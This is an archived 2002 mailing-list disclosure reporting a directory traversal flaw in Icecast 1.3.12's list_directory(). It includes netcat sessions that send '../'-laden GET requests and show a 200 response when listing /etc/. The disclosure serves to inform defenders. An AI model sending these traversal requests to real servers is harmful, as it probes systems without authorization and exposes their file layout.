OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
glaive_at_VANED.NET
Date: Tue Jul 09 2002 - 13:39:03 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    list_directory() makes no effort to constrain the request to the static
    directory. Icecast allows for remote probing of the underlying
    filesystem structure. (on a side note, this can also be used to list
    files with a .mp3 extension anywhere on the system. send_file() does do
    traversal checking.)

    % nc icecast.host 8000
    GET /file/../../../../../../../../nonexistent/ HTTP/1.0

    HTTP/1.0 404 Not Found
    Server: icecast/1.3.12
    Connection: close
    Content-Type: text/html

    ...

    % nc icecast.host 8000
    GET /file/../../../../../../../../etc/ HTTP/1.0

    HTTP/1.0 200 OK
    Server: icecast/1.3.12
    Connection: close
    Content-Type: text/html

    ...